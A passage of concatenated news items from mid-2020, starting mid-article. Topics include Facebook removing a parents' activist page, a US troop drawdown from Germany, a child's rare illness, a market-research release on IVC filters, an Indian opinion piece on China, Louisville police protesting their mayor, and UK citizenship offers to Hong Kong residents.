"The first time it was removed for hate speech because I shared a post that said 'Reminder: Women don't have to be polite to someone who is making them uncomfortable,'" Bohach said.

The second time her page was removed by Facebook occurred after she and another mom posted about a trans-identified male who was kicked out of a bathroom in neighboring Coeur d'Alene, Idaho. After she posted it, her page was unpublished and Facebook sent her a subsequent message saying it did not violate community standards yet it remained unpublished. As of now, following the third ban, she has been unable to make another page using the same name 500 Mom Strong, but she is building a Facebook group that continues to grow.

"We have no plans to slow down or stop our activism," Bohach said.

A company spokesperson for Facebook told LifeSiteNews Wednesday that the third 500 Mom Strong page was taken down for violating our Community Standards.

Since many cities have banned gatherings in response to the coronavirus pandemic, libraries are no longer hosting in-person Drag Queen Story Hour events. Instead they've been moved to online social media platforms.
STUTTGART, Germany -- President Donald Trump has ordered the Pentagon to pull nearly 10,000 troops out of Germany by September, which would mark a sharp drawdown in a country that is home to the largest number of forces in Europe, the Wall Street Journal reported Friday.

Pentagon officials on Friday said they were unaware of the plan. But the Journal, citing unnamed government officials, said White House National Security Advisor Robert O'Brien recently signed off on it

The move would cut 9,500 troops from the 34,500 that are stationed in Europe, the Journal reported. The plan also would put a cap on the number of forces that could be in Germany at any given time to 25,000 personnel, which would put tight restrictions on the types of training missions that U.S. European Command could carry out in the country.

In recent years, the military has relied heavily on rotational forces to move in and out of Germany for NATO related exercises. During major drills, the total force can increase to roughly 50,000 depending on the nature of the training.

Trump has long complained about Germany and its role in the NATO alliance. Trump, who has made threats in the past about pulling U.S. forces, has repeatedly complained that Germany invests too little in defense and that Berlin is a security free rider.

The Journal said the decision has been under discussion within the administration since September and wasn't linked to German Chancellor Angela Merkel's recent refusal to not to attend a G-7 meeting in Washington this month.

It's not clear what forces would be pulled if the plan is put into action. The U.S. military's main hub in Germany is Ramstein Air Base, which plays a key role in support military missions not just in Europe but also in the Middle East and Africa. The U.S. also has thousands of troops based in Grafenwoehr, where the Army has infantry units and a large training center. Stuttgart, home to the headquarters of U.S. European and Africa Commands, also is a major hub.

If true, Trump's decision to cut forces would come at a time when the Pentagon has sought to increase capabilities in Europe, where there are concerns about a more aggressive Russia. For years, the Pentagon had steadily cut force levels in Europe as part of the post Cold War drawdown, but Moscow's 2014 intervention in Ukraine brought renewed military attention to the Continent.

Moving 9,000 troops, many of them likely with families, within three months would be a major logistical undertaking. EUCOM declined to comment on whether it was drawing up plans to scale down, referring questions to the Pentagon.

Trump has a track record of making threats about pulling troops from overseas locations. In December 2018, former Defense Secretary Jim Mattis resigned after Trump said he was withdrawing forces involved in the fight against the Islamic State group in Syria. However, nearly two years later U.S. troops are still in that war-torn country.
A young Queensland couple who doted on their perfect baby girl are now preparing for the worst after their 'angel' was given just months to live.

Little Harper Balcomb, who is just 11 months old, is a happy baby with 'the blondest hair and the bluest eyes', her parents explained.

But what they hoped was a simple dairy intolerance that caused her to cry turned out to be a rare mystery illness.

Harper suffers from a neurodegenerative disorder thats so uncommon it doesnt have a name, and doctors have no idea what causes it.

They suspect she may only have months to live, and she can no longer hear her parents' voices or even look at them.

Gavin and Kimberley Balcomb told Daily Mail Australia they are devastated, but are determined to ensure her final days are filled with happy family memories.

Little Harper (pictured), who is 11 months old, suffers from a neurodegenerative disorder thats so rare it doesnt have a name and doctors dont know what it is

Gavin and Kimberley Balcomb (pictured with Harper) say they are devastated but they refuse to let her final days be filled with sadness

'We are trying to ensure that the only thing our daughter ever knows is love,' Mr Balcomb said.

'Love. Love. And more love.'

Mrs Balcomb said the time to grieve will come later, but they are intent on celebrating her life.

'The advice from the hospital after they gave the diagnosis was just to make memories with her,' the proud mother said.

'So that is what we have been doing and we try every day to be as happy as we can with her.'

Shortly after the two got married they decided to have children, as they wanted to spend the most amount of time possible with their kids - even if it didn't make the best financial sense.

'We are trying to ensure that the only thing our daughter ever knows is love.' Mr Balcomb (pictured, right, with his family) said. 'Love. Love. And more love'

'Harper is the best thing that ever happened to us, we had a fantastic birth and we had a fantastic pregnancy,' Mr Balcomb said.

'She was just a little angel from the first time I laid eyes on her and that hasn't changed.

'She has the blondest hair and the bluest eyes.

'Family means absolutely everything to us and it's being ripped away and there is nothing we can do to stop it that is the hardest part, not being able to do anything.'

Harper has a team of about 40 doctors from multiple disciplines examining her condition.

The Queensland Children's Hospital have been with us every step of the way.

Our neurologists and metabologists have been incredible, Mr Balcomb said.

Harper (pictured) has a team of about 40 doctors from multiple disciplines examining her condition

While doctors believe the illness is mitochondrial in nature, meaning it affects the way cells generate energy, they have not been able to confirm it.

'Her brain is having increased atrophy and she can't see anymore and unfortunately that is going to be fatal,' Mr Balcomb said.

'We have done lumbar punctures, we have had MRIs, we have undertaken every genetic test we can possibly do, they have mapped her G-Nome, they have done everything under the sun that they could possibly do.

'But it's not something they have never seen before.'

When the couple first began to suspect something was wrong with Harper, their GP could not pinpoint the issue.

Gavin and Kimberley Balcomb are doing all they can to make happy memories, together as a family

'The general consensus is that babies cry and that babies develop at their own rate,' Mr Balcomb said.

But the couple's gut instinct told them to push further and it was only but seeking further advice were they able to uncover vital details about their daughter's condition.

Now they are warning other parents to follow their own instincts if they feel something could be wrong with their children.

Medical teams in Brisbane and Melbourne have taken DNA samples from Harper for testing and research.

Gavin and Kimberley Balcomb (pictured) are warning other parents to follow their instincts if they feel something could be wrong with their children

By the time the findings of the research are known, it will be too late to help Harper.

But Mr and Mrs Balcomb say they are hopeful that one day it will be able to help another family in their position.

A Go Fund Me account has been set up by Mr Balcomb's employer, to allow the family to spend as much time as possible together in Harper's final months.

After raising more than $13,000, it means Mr Balcomb won't have to go to work, meaning he can spend precious time with his daughters.

This special time has given them the opportunity to lead a happy family life with Harper, taking her on picnics and even enjoying their first family holiday to Mooloolaba on the Sunshine Coast.
By Associated Press

BERLIN: Switzerland says it plans to lift restrictions on travel from European Union countries and Britain on June 15.

The Swiss government previously had announced that it would completely reopen the country's borders with three of its neighbours -- Austria, Germany and France- in mid-June.

On Friday, a government statement said 'in view of the current epidemiological situation' it can now expand that to all countries in the EU and the European Free Trade Association, as well as Britain.

Switzerland is not a member of the EU but is part of Europe's usually passport check-free Schengen travel area.
Dublin, June 04, 2020 (GLOBE NEWSWIRE) -- The "Inferior Vena Cava (IVC) Filter Market - Global Outlook and Forecast 2020-2025" report has been added to ResearchAndMarkets.com's offering.



The inferior vena cava filter market is expected to grow at a CAGR of over 10% during the period 2019-2025.



The study considers the present scenario of the inferior vena cava filters market and its market dynamics for the period 2019-2025. It covers a detailed overview of several market growth enablers, restraints, and trends. The study offers both the demand and supply aspect of the market. It profiles and examines leading companies and other prominent companies operating in the market.



The global inferior vena cava filter market is to grow steadily during the forecast period. The growth can be attributed to the high prevalence of Pulmonary Embolism (PE) across the world. According to the WHO, the incidence of PE is between 0.75 and 2.69 per 1,000 individuals per year globally. Epidemiological studies reported that more than 1 million people in the US are affected by PE annually, with approximately 100,000-200,000 PE fatalities. The overall healthcare expenditure on PE is estimated to be over $1.5 billion per year in the US alone.



Key Questions Answered:

What are the growth trends, opportunities, and restraints impacting the IVC filter market? What are some technological improvements in inferior vena cava filter and healthcare segment? What are the strategies of major competitors and their market shares in IVC filter market? How will the hospital segment growth be likely in the IVC filter market during the forecast period? What is the growth of North America market during the forecast period?



Factors such as the growth in the aging population, consumption of junk foods, and the growth in the smoking population, the rise in lifestyle-related diseases, including obesity are increasing the prevalence of PE at a steady rate. Hence, the growing demand for optional & retrievable IVC filters and the increasing availability of innovative approaches for placement/retrieval are expected to drive the growth of the global IVC filter market. Moreover, the development of advanced devices, including bioconvertible, convertible, and combination IVC filters and central venous catheters is another primary factor driving the uptake of IVC filters worldwide. However, frequent product recalls due to safety concerns, coupled with the stringent regulatory process, are hindering the growth prospect of the global IVC filter market.



This research report includes a detailed segmentation by product, end-user, and geography. The retrievable & optional IVC filters segment is accounted for major share of 65% in 2019. The RIVCF segment is growing significantly on account of the increasing preference for optional IVCFs as they provide flexibility to remove IVCFs depending on the patient's requirement of permanent prophylaxis. Their ease of insertion is encouraging physicians to adopt retrievable ones. However, these devices have higher device-related complications in the long term than permanent ones. Moreover, RIVCFs are more expensive than permanent ones while reimbursement is the same for both.



In 2019, hospitals end-user segment accounted for 84% share of the global IVC filter market. Healthcare professionals in hospitals use advanced IVC filters such as retrievable/optional ones. The segment is growing at a healthy rate and is likely to grow at the same pace during the forecast period. The growth is primarily due to the high adoption of advanced filters, as a majority of patients with high-risk cardiac diseases prefer visiting hospitals for treatment due to advanced infrastructure facilities available in major private and public hospitals. Surgeons prefer to use advanced technology MRI- compatible, bioconvertible filters due to their high success rates and improved patient outcomes. Though hospitals have a greater number of IVC filter placements, the preference among patients to undergo implantation is increasing, thereby expecting healthy growth rates during the forecast period.



In 2019, North America accounted for 44% share of the global IVC filter market. The region is likely to witness an absolute growth of around 80% during the forecast period. The US is the major revenue contributor to the North America market and accounted for a share of 94% in 2019. The North American inferior vena cava filter market has become strategically important for several prominent players such as Cardinal Health, BD, Cook Medical and others. The market in this region is characterized by its high penetration of advanced treatment solutions for several vascular diseases due to the aging population and advances in technology.



Europe is the second largest market for vena cava filters. It is growing at a healthy rate and is expected to grow at a similar pace during the forecast period. The increasing incidence of PE, mainly in the growing aging population, rapid adoption of advanced vena cava filters and high healthcare expenditures are driving growth in Europe. It is estimated that more than 15% of the population in Europe is aged 65 years and above. The region is projected to remain the most aged one in the coming decades, with approximately 34% of the population projected to be aged 60 years or over in 2050. Hence, such a geriatric population is at a high risk of developing cardiac diseases, which leads to an increasing demand for vena cava filters in the region.



The APAC inferior vena cava filter market is growing at a significant healthy rate. The growth is due to the presence of a large pool of patient population, improvements in healthcare infrastructure, and increased healthcare expenditure. APAC serves as an attractive market destination for many global and local vendors. The healthcare system is undergoing rapid transformations with favorable support from government organizations. Japan, Australia, and South Korea are the major revenue contributors to the inferior vena cava filter market. In addition, healthcare providers are focusing on providing advanced care to patients, thereby contributing a high demand for IVCFs.



Brazil, Mexico, and Argentina are the major revenue contributors in the region. Cardiac diseases including PE are the major cause of mortality in Latin America. The presence of a large pool of the patient population that requires IVC filters, increase in government initiatives and funding on healthcare, and improvements in healthcare infrastructure are the main factors driving the market growth.



Key Topics Covered:



1 Research Methodology



2 Research Objectives



3 Research Process



4 Scope & Coverage

4.1 Market Definition

4.2 Base Year

4.3 Scope Of The Study

4.4 Market Segments



5 Report Assumptions & Caveats

5.1 Key Caveats

5.2 Currency Conversion

5.3 Market Derivation



6 Market at a Glance



7 Introduction

7.1 Pulmonary Embolism: Overview



8 Market Opportunities & Trends

8.1 Expanding Indications For IVC Filters

8.2 Emergence Of Advanced/Innovative IVC Filters

8.3 Strategic M&As



9 Market Growth Enablers

9.1 Increasing Incidence Of Pulmonary Embolism

9.2 Innovative Approaches For IVC Filter Placements/Retrievals

9.3 High Demand For Retrievable IVC Filters

9.4 Rapid Technological Advancements



10 Market Restraints

10.1 Risks & Complications Associated With IVCFs

10.2 Product Recalls Due To Safety Concerns

10.3 High Cost Of IVCFs

10.4 Introduction Of Stringent Regulations



11 Market Landscape

11.1 Market Overview

11.2 Market Size & Forecast

11.3 Five Forces Analysis



12 By Product

12.1 Market Snapshot & Growth Engine

12.2 Market Overview



13 Retrievable & Optional IVC Filters

13.1 Market Overview

13.2 Market Size & Forecast

13.3 Retrievable & Optional IVC Filters By Geography



14 Permanent IVC Filters

14.1 Market Overview

14.2 Market Size & Forecast

14.3 Permanent IVC Filters: Geography Segment



15 By End-User

15.1 Market Snapshot & Growth Engine

15.2 Market Overview

15.3 Hospitals

15.4 ASCs

15.5 Office-Based Labs



16 By Geography

16.1 Market Snapshot & Growth Engine

16.2 Geographic Overview



17 North America

17.1 Market Overview

17.2 Market Size & Forecast

17.3 North America: Product Segmentation

17.4 Key Countries



18 Europe

18.1 Market Overview

18.2 Market Size & Forecast

18.3 Europe: Product Segmentation

18.4 Key Countries



19 APAC

19.1 Market Overview

19.2 Market Size & Forecast

19.3 APAC: Product Segmentation

19.4 Key Countries



20 Latin America

20.1 Market Overview

20.2 Market Size & Forecast

20.3 Latin America: Product Segmentation

20.4 Key Countries



21 Middle East & Africa

21.1 Market Overview

21.2 Market Size & Forecast

21.3 Middle East & Africa: Product Segmentation

21.4 Key Countries



22 Competitive Landscape

22.1 Competition Overview

22.2 Market Share Analysis



23 Key Company Profiles

23.1 Cardinal Health

23.2 BD

23.3 Cook Medical

23.4 B. Braun Melsungen

23.5 Boston Scientific



24 Other Prominent Vendors

24.1 ALN

24.2 Argon Medical Devices

24.3 Braile Biomdica

24.4 Lifetech Scientific

24.5 Mermaid Medical



25 Report Summary

25.1 Key Takeaways

25.2 Strategic Recommendations



26 Quantitative Summary

26.1 By Product

26.2 By End-User

26.3 By Geography

26.4 North America: Product Segmentation

26.5 Europe: Product Segmentation

26.6 APAC: Product Segmentation

26.7 Latin America: Product Segmentation

26.8 MEA: Product Segmentation

26.9 Retrievable & Optional IVC Filters: Geographical Segmentation

26.1 Permanent IVC Filters: Geographical Segmentation



27 Appendix

27.1 Abbreviations



For more information about this report visit https://www.researchandmarkets.com/r/vsf0op

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Social media allows us to connect with friends and loved ones in meaningful ways even when we arent together in person, which is wonderful. It also allows us to get to know and interact with people in other places, whether thats in the United States or around the world. That, too, is great
Wyoming Business Tips for June 8-14

A weekly look at issues facing Wyoming business owners and entrepreneurs from the Wyoming Small Business Development Center (SBDC) Network, a collection of business assistance programs at the University of Wyoming.

By Janean Forsyth Lefevre, Wyoming SBDC Network

Small businesses in every industry can potentially expand their markets by selling their products or services to government agencies, and a big part of this is developing an effective capability statement.

A capability statement is essentially a resume for your business -- giving contracting officers, small-business specialists and other agency representatives a good idea of who you are, what you do and how you differ from your competitors. You can hand out paper versions of your capability statement at conferences, trade shows and matchmaking events. You can post it on your website and/or email it directly to contracting officers or even prime contractors you hope with which to subcontract.

A critical marketing tool in contracting, a good capability statement effectively and concisely communicates with potential government customers. If you are thoughtful and creative, you can create a capability statement that grabs attention and interest, and potentially leads to exciting contracting opportunities.

Capability statements should be brief and to the point. One single-sided page is ideal. Consider using graphics, logos and other visual elements. But, be sure that it is a high-quality, searchable PDF so you can easily email it to contracting officers and other contacts.

Your capability statement should include:

-- Title: Something as simple as Capability Statement.

-- Core competencies: At what are you really good? Keep this focused. Do not try to be all things to all people.

-- Past performance: Who have you worked with in the past? What kinds of jobs?

-- Differentiators: What sets you apart from your competitors? What can you do that no one else does? Or, how do you do it better?

-- Company data: This includes your contact information, website, the North American Industry Classification System/Product or Service Code (NAICS/PSC) codes, Data Universal Numbering System (DUNS) number, and Commercial and Government Entity (CAGE) code.

-- Use logos and graphics rather than text.

Once you have a good draft, be sure to solicit feedback from others, including your Wyoming Procurement Technical Assistance Center. We are available to review capability statements and provide tips to increase their effectiveness.

For assistance with your capability statement, reach out to your local adviser for no-cost, confidential assistance at www.wyomingsbdc.org/sign-up.

The Wyoming SBDC Network offers no-cost advising and technical assistance to help Wyoming entrepreneurs think about, launch, grow, reinvent or exit their business. In 2019 alone, the Wyoming SBDC Network helped Wyoming entrepreneurs start 108 new businesses; create or save 3,402 jobs; and bring a capital impact of more than $24 million to the state. The Wyoming SBDC Network is hosted by UW with state funds from the Wyoming Business Council and funded, in part, through a cooperative agreement with the U.S. Small Business Administration.

To ask a question, call 1-800-348-5194, email wsbdc@uwyo.edu, or write 1000 E. University Ave., Dept. 3922, Laramie, WY 82071-3922.
'One must remember that a dragon has a forked tongue,' warns Vivek Gumaste.

IMAGE: The Indian Army's Brigadier H S Gill, left, with the People's Liberation Army Senior Colonel Bai Min at a Border Personnel Meeting in January 2020. Photograph: ANI Photo

The brazen intrusion by China's People's Liberation Army at Pangong Tso lake in Ladakh and the Naku La region near Tibet along the Line of Actual Control with India, though ostensibly a border altercation, masks a larger game plan.

Namely, the intent to discipline who it thinks is an errant upstart neighbour who dare steal its sheen as the predominant power in Asia and a rising global superpower, not to speak of its audacity in fostering closer military ties with Washington, China's only global rival.

Chinese antipathy towards India is not the derivative of mundane secular differences like border disputes or of recent origin. Rather, it is a deep-seated, intrinsic and historic trait that stems from a medieval mindset that subscribes to dated notions of intrinsic superiority and inferiority; a warped perspective that imbues it with a false sense of entitlement to global hegemony and the presumptuous authority to censure 'underlings like India'.

This trait was evident even in the 1950s, when both nations, India and China, were fledgeling States out to make their mark in a post-colonial world.

Much to China's chagrin, in those times, India had the edge, thanks to Mahatma Gandhi's spiritual aura and Jawaharlal Nehru's stewardship of the Non-Aligned Movement.

Zhou Enlai, China's first premier, reacting to India's claim of having introduced China to NAM, once remarked that he was surprised at the 'effrontery of a third-rate power like India claiming to introduce to the world the prime minister of a first-rate power like China'. (Kuldip Nayar. India, The Critical Years).

The 1962 War in which India suffered a humiliating defeat was the practical demonstration of China's India policy of cutting India down to size.

Sarvepalli Gopal corroborates this in his authoritative biography of Nehru by quoting a Chinese official who explains that the prime objective of the 1962 War was to demolish India's 'arrogance' and 'illusions of grandeur' and that China 'had taught India a lesson and, if necessary, they would teach her a lesson again and again'.

For China, the time appears ripe to teach India another lesson.

An unexpected confluence of rapidly developing world events over the last few months have pushed an unabashed bully like China into an unenviable position of unaccustomed vulnerability.

China's mishandling of the coronavirus crisis tells of reckless and deceptive irresponsibility in lieu of staid leadership.

China's world image stands irrevocably dented. No longer the new hero of the emerging world, it is being framed as the villain of the piece intent on pursuing self-interest at the cost of endangering thousands of human lives.

Not to be discounted is the material consequences to China of this misadventure: A cascading negative impact on its economy.

Add to this the talk of India being the natural alternative for global investments in the post-Covid era and the picture of China's insecurity becomes complete.

Moreover, China has noted with growing concern, a resurgent India's new-found confidence under Prime Minister Narendra Damodardas Modi's captaincy.

The reorganisation of Jammu and Kashmir, increased proximity to Washington, and strategic alliances with other countries inimical to China like Japan have unsettled China.

India's support for the investigation into China's role in the COVID-19 crisis is another irritant in this equation.

With the world's attention distracted by a deadly pandemic, China callously envisions an opportunity to turn adversity into advantage and consolidate its geo-political ambitions.

China is both testing and playing international diplomatic waters in this India-China standoff.

In targeting India, China sees rich dividends. In one stroke it can demolish India's ambitions of replacing China as an industrial hub, mollify its all-weather friend Pakistan and challenge US determination to counter China by proxy.

China's official position as evidenced by opinion pieces in the Global Times -- a tabloid of the Chinese Communist party -- has been a jumbled mixture of conflicting expressions: Runaway hubris, military bluster and sober but sanctimonious platitudes advocating India-Chinese cooperation.

The Line of Actual Control is not a well demarcated boundary, but a nebulous line open to vary interpretations. Nevertheless, China paints India as the aggressor.

Long Xingchun categorically asserts (external link): 'Unlike previous standoffs, the latest border friction was not caused by accident, but was a planned move of New Delhi.'

And nearly 60 years later China feels it necessary to remind India of its disastrous defeat in the 1962 War; a veiled threat as to what awaits India if it chooses to confront China.

'The international environment for China is much better than it was in 1962 when India started and was crushingly defeated in a border war with China. In 1962, the national strength of China and India were comparable. Today by stark contrast, China's GDP is about five times that of India.'

Another op-ed (external link) by Wang Wenwen refers to 'illegally constructed defence facilities across the border into Chinese territory in the Galwan Valley region...'

'To what extent Trump's personal Twitter account reflects the will of the White House remains to be seen. For the US, a conflicting China-India relationship serves its interests. Washington believes the combined strength of Beijing and New Delhi could impair its interests in Asia and beyond,' Wenwen writes.

'An opportunist US has never given up its attempt to drive a wedge between China and India,' Wenwen adds. 'The administration of former president Barack Obama repeatedly stated that it saw India as part of its rebalancing strategy aimed at China, and the Trump administration emphasises India as a major pillar in its much-touted Indo-Pacific concept.'

Emphasising China's military advantage to intimidate India, another report (external link) highlights the induction of sophisticated new India-specific armory: 'Since the Doklam standoff with India in 2017, the Chinese military has expanded its arsenal with weapons like the Type 15 tank, Z-20 helicopter and GJ-2 drone that should give China the advantage in high-altitude conflicts should they arise.'

However, China must also be cognisant of the fact that 2020 is not 1962. India may not be able to match China's military numbers, but has enough military capability to give China a bloody nose in a face to face confrontation.

An outcome that would be detrimental to China's global ambitions. China has more to lose in this stand-off. One would counsel pragmatism.

Despite all this brash bravado, there is an undeniable hint of definite Chinese trepidation with regards to the India-US strategic partnership. In a span of one week at least three major opinion pieces have been published commenting on the issue -- evidence of China's apparent desperation.

These articles attempt to portray the US as a selfish, unreliable partner, exhort India to act independently, warn of disastrous consequences if India fails to fall in line and call for better India-China understanding.

Long Xingchun reiterates the same sentiment: 'Even those pro-US Indians will not count on the Trump administration, which advocates the 'America First' policy, to really back India. The Trump administration encourages India to be tough on China so as to provoke and profit from the China-India disputes.'

Another leader article (external link) adopts a carrot and stick approach warning India of economic destitution if it followed Washington's path and promising to aid India's economic recovery post Covid.

'If in a new Cold War, India leans toward the US or becomes a US pawn attacking China, the economic and trade ties between the two Asian neighbors will suffer a devastating blow. And it would be too much for the Indian economy to take such a hit at the current stage.'

The same article speaks of 'China's tone of maintaining a cooperative relationship with India' and 'help' to aid its economic recovery.

Finally, Long advises: 'As an ancient civilisation, India is wise enough to avoid understanding China through biased US lens. It is in the interests of India to understand the real China and make correct and strategic judgments on this basis.'

By the same token, China must stop viewing India through the eyes of its all-weather partner in crime -- Pakistan. India on the other hand has always maintained a sense of balance in its relationship with China.

India has no desire to rival China or engage in a military conflict.

The India-US strategic partnership is recent phenomenon -- the direct consequence of China's continued efforts to contain India and its unfettered support of Pakistan's shenanigans.

China must realise that in the world of hard realpolitik there are no permanent friends and no permanent enemies.

If China is really sincere about 'maintaining a cooperative relationship with India', then it must walk the talk.

First, to demonstrate its good intentions, China must disengage completely from Pakistan's terrorist activities (after almost a decade it agreed to the listing of Masood Azhar as a global terrorist) and distance itself from Pakistan's claim to Kashmir as a reciprocal gesture for India's recognition of Tibet -- a move that would dampen Pakistan's antics and usher more stability into the region.

Facilitation of India's entry into the Nuclear Suppliers Group and endorsement of India's quest for a permanent United Nations Security Council seat would be other confidence building measures.

An all-out war appears unlikely.

The Chinese foreign ministry has stated that the 'overall situation in the China-India border area is stable and under control, and the two countries are capable of resolving border issues through dialogue and negotiations.'

Defence Minister Rajnath Singh concurs.

However, this talk of cooperation must not lull India into a false sense of security.

All these utterances emanating from Beijing are eerily similar to what preceded the 1962 conflict.

India must be militarily prepared for the worst while welcoming mutual cooperation.

One must remember that a dragon has a forked tongue.
By PTI

NEW DELHI: Some woman police officers posted at a premier training institute for bureaucrats in Mussoorie have been targeted with abusive and obscene content on Twitter prompting the authorities to approach the local police, officials said on Friday.

An FIR has been lodged by the police based on a complaint by the administration of Lal Bahadur Shastri National Academy of Administration (LBSNAA) and the investigation is underway, they said.

"Today some lady IPS officers have been targeted with abusive, derogatory and obscene content by certain twitter accounts. The academy strongly condemns this malicious and derogatory tweet and has lodged an FIR with Uttrakhand Police in this regard," the LBSNAA had said in a tweet on Thursday.

Today some lady IPS Officers have been targeted with abusive, derogatory and obscene content by certain twitter accounts. The Academy strongly condemns this malicious and derogatory tweet and has lodged an F.I.R. with Uttrakhand Police in this regard.  LBSNAA (@LBSNAA_Official) June 4, 2020

The news has evoked sharp reactions from the associations of Indian Police Service (IPS), Indian Administrative Service (IAS) and Indian Forest Service (IFS) officers, demanding an expeditious investigation into it to bring the culprits to book.

Besides them, all cadre officers of the central armed police forces (CAPFs) have also demanded strict action against such "perverted minds".

"We all CAPFs officers condemn abusive posts and comments against lady IPS officer & demand strong legal action be taken against such perverted minds. Shame on such person," they said on Twitter.

"We strongly condemn the abusive & derogatory remarks on Twitter regarding lady IPS officers. We believe the concerned police agencies will do a thorough investigation to expeditiously bring culprits to book. We solemnly resolve to protect the dignity of lady officers," the IPS (central) association tweeted.

The IAS (central) association has asked Twitter to remove such posts and handles from its platform.

"We agree and condemn abusive posts and comments against #IPS officers and demand strong action be taken against such perverted minds. We have reported such handles and request @TwitterIndia to remove such posts and handles," it tweeted The IFS officers association also strongly condemned the abusive and derogatory remarks on social media against woman IPS officers.

"Strong action must be taken against these cowards," it said.

Some senior IPS officers have also come in support of their colleagues in the matter.

"Each and every human deserves respect. Women especially because they are still considered second class citizens. We lady officers are on target because we stand for a cause and they can't digest it. Thanks fr support Smiling face with smiling eyes we will be more strong now," tweeted IPS officer Aslam Khan.

Each and every human deserves respect.women especially because they are still considered second class citizens.We lady officers are on target because we stand for a cause and they cant digest it.Thanks fr support we will be more strong now. https://t.co/onLLFPt7ME  Aslam Khan (@aslam_IPS) June 4, 2020

Khan, a 2007 batch IPS officer of AGMUT (Arunachal Pradesh-Goa-Mizoram and Union Territories) cadre, has hinted that the alleged inter-service rivalry between some IPS and paramilitary officers could be behind the online attack.

The central armed police service officers were last year granted organized Group A service status to help them get pay and promotion parity with their counterparts in the Indian Police Service.

"It all started from here and when they could not do much they started doing character assassination of lady IPS officers. Is it not the easiest thing?" she said in a pinned tweet in a mix of Hindi and English along with a graphic showing animated characters representing paramilitary forces Border Security Force (BSF), Central Reserve Police Force (CRPF) and "illegal" IPS association.
Several youth-wing members of Germanys far-right National Democratic Party (NPD) and the right-wing party The Third Way have completed paramilitary training in Russia, according to intelligence sources cited by German news magazine Focus.

Fridays report, German neo-Nazis practise terrorism in St Petersburg, said participants were trained in a special camp near the Russian city of St Petersburg in using weapons and explosives, as well as for close military combat.

The camp, called Partisan, is operated by the far-right Russian Imperial Movement (RIM), which claims to be fighting for the predominance of the white race, the report said.

The United States added RIM to a list of global terrorist groups in April, saying the group had provided paramilitary-style training to white supremacists and neo-Nazis in Europe.

Russias foreign ministry responded at the time by saying the step by the US did not contribute to the fight against terrorism and that Washington had not provided details.

According to Russian media reports, RIM is also considered extremist in its homeland, but is not banned.

At protests in Russia, RIM members are often seen with signature yellow and black banners, calling for the Russian Empire to be restored.

The Focus report said German intelligence authorities have been informed of Russia-based training of German far-right youth, but could not prohibit travel to St Petersburg for legal reasons.
Police in Louisville, Kentucky, walked out on the city's mayor in protest at him 'disrespecting' them as they claimed he 'does not care about them at all'.

Video shows officers and detectives from the Louisville Metro Police Department (LMPD) silently streaming out of a room as mayor Greg Fischer prepared to address them ahead of a 12-hour shift.

Fraternal Order of Police president Ryan Nichols, who was not present, said the move was an unplanned reaction by officers who said they felt 'completely unsupported and disrespected.'

Tensions in the city have been high after the death of EMT Breonna Taylor in March. She died in her apartment after being shot eight times by cops, with her death sparking ongoing protests.

Black business owner David McAtee was then shot dead by cops on Monday during protests at the killing of George Floyd, further raising tensions between police and protesters.

Police in Louisville, Kentucky, walked out on the city's mayor Greg Fischer in protest at him 'disrespecting' them as they claimed he 'does not care about them at all'

Floyd died last week after a white police officer in Minneapolis kept a knee on his neck for over eight minutes.

In the video of the walkout, the person filming the video, which was obtained by the Courier-Journal, can be heard saying, 'they don't wanna hear nothing you've got to say Mr Mayor,' as the cops leave the room.

Mr Nichols said: 'They feel completely unsupported and disrespected by this administration.'

'They feel whatever he was going to say would have been nothing more than lip service, and he does not care about them at all.'

Video shows officers and detectives from the Louisville Metro Police Department (LMPD) silently streaming out of a room as mayor Greg Fischer prepared to address them ahead of a 12-hour shift

An LMPD member who was at the roll call of officers said they had walked away because they 'didn't want to be patronized'.

During demonstrations, police have deployed pepper bullets and tear gas.

They said the measures were in response to protesters throwing bricks, fire works and even Molotov cocktails at them.

Mr Nichols added that many officers do not feel Fischer's team has been supporting law enforcement amid the protests.

Fraternal Order of Police president Ryan Nichols, who was not present, said the move was an unplanned reaction by officers who said they felt 'completely unsupported and disrespected'. Pictured: Fischer is seen standing talking to officers as most of them leave

Other cops booed as the mayor walked into the room

He questioned why it has taken until Friday for Fischer to address officers.

'We're deep into multiple days of rioting and violence ... and they're working in treacherous conditions,' he added.

Following the walkout, the mayor responded in a statement, saying that 'I respect' the frustration shown by officers.

Tensions in the city have been high after the death of EMT Breonna Taylor in March. She died in her apartment after being shot eight times by cops, with her death sparking ongoing protests. Black business owner David McAtee was then shot dead by cops on Monday during protests at the killing of George Floyd, further raising tensions between police and protesters

'They are suffering insults and assaults from people they are working to protect. They are worried for their families and this city.'

He added that the cops have a 'very difficult job' and that he hopes residents will 'embrace our police officers as guardians'.

McAtee, a barbecue shop owner, was shot dead after police and National Guard troops said he fired at them first.

Ms Taylor, 26, was killed in her home in March by Louisville police carrying out a 'no-knock warrant'. She was shot eight times while in her bed.

On Monday, the police chief in Louisville, Steve Conrad, was fired by Fischer after it was revealed that officers involved in the shooting of McAtee did not have their body cameras activated.

'This type of institutional failure will not be tolerated,' Fischer said during a press conference.

Conrad was slated to retire on July 1.
UK to offer path to citizenship for 3M Hong Kong residents if China imposes new security law

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British Prime Minister Boris Johnson is offering Hong Kong residents a pathway to citizenship in the United Kingdom should China proceed with implementing a national security law that would effectively control the city-state's government.

China's proposed national security law prohibits sedition, secession, and subversion against Beijing in Hong Kong, and was approved last week by the Chinese parliament, which moved to impose it on the island city-state without the approval of the Hong Kong legislature, through a rarely-used legal backdoor. The law also empowers Chinese national security entities "to fulfill relevant duties to safeguard national security in accordance with the law."

In response, Johnson extended the offer of a possible path to U.K. citizenship to the 3 million residents of Hong Kong, which had previously been under British rule.

"If China imposes its national security law, the British government will change our immigration rules and allow any holder of these passports from Hong Kong to come to the U.K. for a renewable period of 12 months and be given further immigration rights, including the right to work, which could place them on a route to citizenship," Johnson wrote in a commentary published by the U.K. Times.

"This would amount to one of the biggest changes in our visa system in history. If it proves necessary, the British government will take this step and take it willingly."

The U.K. prime minister stressed that he hoped to have a good relationship with China, adding that the powerful communist nation must abide by its international agreements.

"Britain wants nothing more than for Hong Kong to succeed under 'one country, two systems.' I hope that China wants the same. Let us work together to make it so," Johnson said, urging that it was in their best interest to do so," Johnson added.

At a U.N. Security Council meeting last week, the U.S. and U.K. raised concerns about the situation in Hong Kong.

U.S. Ambassador Kelly Craft asked: Are we going to take the honorable stand to defend the human rights and the dignified way of life that millions of Hong Kong citizens have enjoyed and deserve ... or are we going to allow the Chinese Communist Party to violate international law and force its will on the people of Hong Kong?"

